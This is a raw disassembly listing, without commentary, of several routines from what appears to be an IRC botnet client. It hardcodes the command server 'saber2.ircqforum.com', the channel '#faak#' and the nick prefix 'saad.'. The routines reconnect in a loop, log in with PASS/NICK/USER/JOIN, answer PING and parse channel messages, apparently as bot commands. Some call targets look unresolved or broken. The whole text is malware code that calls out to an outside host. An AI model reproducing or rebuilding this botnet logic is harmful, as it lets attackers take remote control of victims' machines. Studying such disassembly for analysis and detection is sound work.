		call	near ptr 276063Ch
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		call	near ptr 26003D2h
		nop
		push	[ebp+var_1C]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_18]
		call	esi
		call	dword_43F5C8
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_40E98C:				; CODE XREF: sub_40E6A9+137j
					; sub_40E6A9+2B9j
		cmp	dword_48A030, 2
		jle	short loc_40E9D8
		mov	eax, dword_48A034
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2650BE2h
		push	esi
		nop
		call	near ptr 26309DCh
		mov	eax, dword_48A034
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 26003D2h
		mov	eax, dword_48A034
		push	dword ptr [eax+8]
		nop
		call	near ptr 27D0BEDh

loc_40E9D8:				; CODE XREF: sub_40E6A9+2EAj
					; sub_40E6A9+314j
		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43F738, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40C1AE
		pop	ecx

loc_40E9F5:				; CODE XREF: sub_40E6A9+335j
					; sub_40E6A9+33Dj
		lea	eax, [ebp+var_E4]
		push	offset dword_43511C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_416D5C
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_444340
		call	sub_417330
		call	sub_41730C
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		mov	dword_489DD0, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_489CDC
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_489D1C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_489DB0, ebx

loc_40EA83:				; CODE XREF: sub_40E6A9+480j
					; sub_40E6A9+48Bj ...
		mov	[ebp+var_4], ebx

loc_40EA86:				; CODE XREF: sub_40E6A9+434j
		cmp	dword_43F750, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	dword_43F5AC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------

loc_40EAA4:				; CODE XREF: sub_40E6A9+3E3j
					; sub_40E6A9+3F2j
		push	offset dword_489C58
		mov	dword_489DCC, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40EB7E
		cmp	dword_489DCC, ebx
		jz	short loc_40EACB
		dec	[ebp+var_4]

loc_40EACB:				; CODE XREF: sub_40E6A9+41Dj
		push	0BB8h

loc_40EAD0:				; CODE XREF: sub_40E6A9+3F9j
		nop
		call	near ptr 26003D2h
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40EA86
		cmp	[ebp+var_8], 2
		jz	loc_40EB7E
		cmp	[ebp+var_C], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB2E:				; CODE XREF: sub_40E6A9+443j
		cmp	byte_42F654, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F654
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB7E:				; CODE XREF: sub_40E6A9+411j
					; sub_40E6A9+43Aj
		call	sub_416F25

loc_40EB83:				; CODE XREF: sub_40E6A9+A1j
					; sub_40E6A9+B1j
		call	dword_43F5C8

loc_40EB89:				; CODE XREF: sub_40E6A9+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40E6A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: sub_40E6A9+406p
					; DATA XREF: sub_40EE72+3B0Eo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43F668
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_489DC0
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4450D8
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4450CC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43F700
		call	sub_40ADF3
		push	7D0h

loc_40EC72:				; CODE XREF: sub_40EB92+146j
		call	near ptr 26003D2h
		nop
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_435150
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43F700
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------

loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------

loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417078
		pop	ecx
		push	2
		pop	eax

loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_489DC8, bl
		jz	short loc_40ED3F
		push	offset byte_489DC8
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch

loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43F700
		push	1388h
		nop
		call	near ptr 26003D2h

loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax

loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]

loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi

loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		nop
		call	near ptr 26003D2h
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------

loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------

loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------

loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2

loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_4387B4 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh

loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93

loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi

loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_4387B0 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h

loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------

loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------

loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_489DC0
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415D01
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch

loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h

loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1

loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438734
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h

loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F236:				; CODE XREF: sub_40EE72+57D8j
					; sub_40EE72+57F5j ...
		add	esp, 10h

loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1

loc_40F23B:				; CODE XREF: sub_40EE72+5CEBj
		pop	eax

loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h

loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C

loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F397:				; CODE XREF: sub_40EE72+3DEj
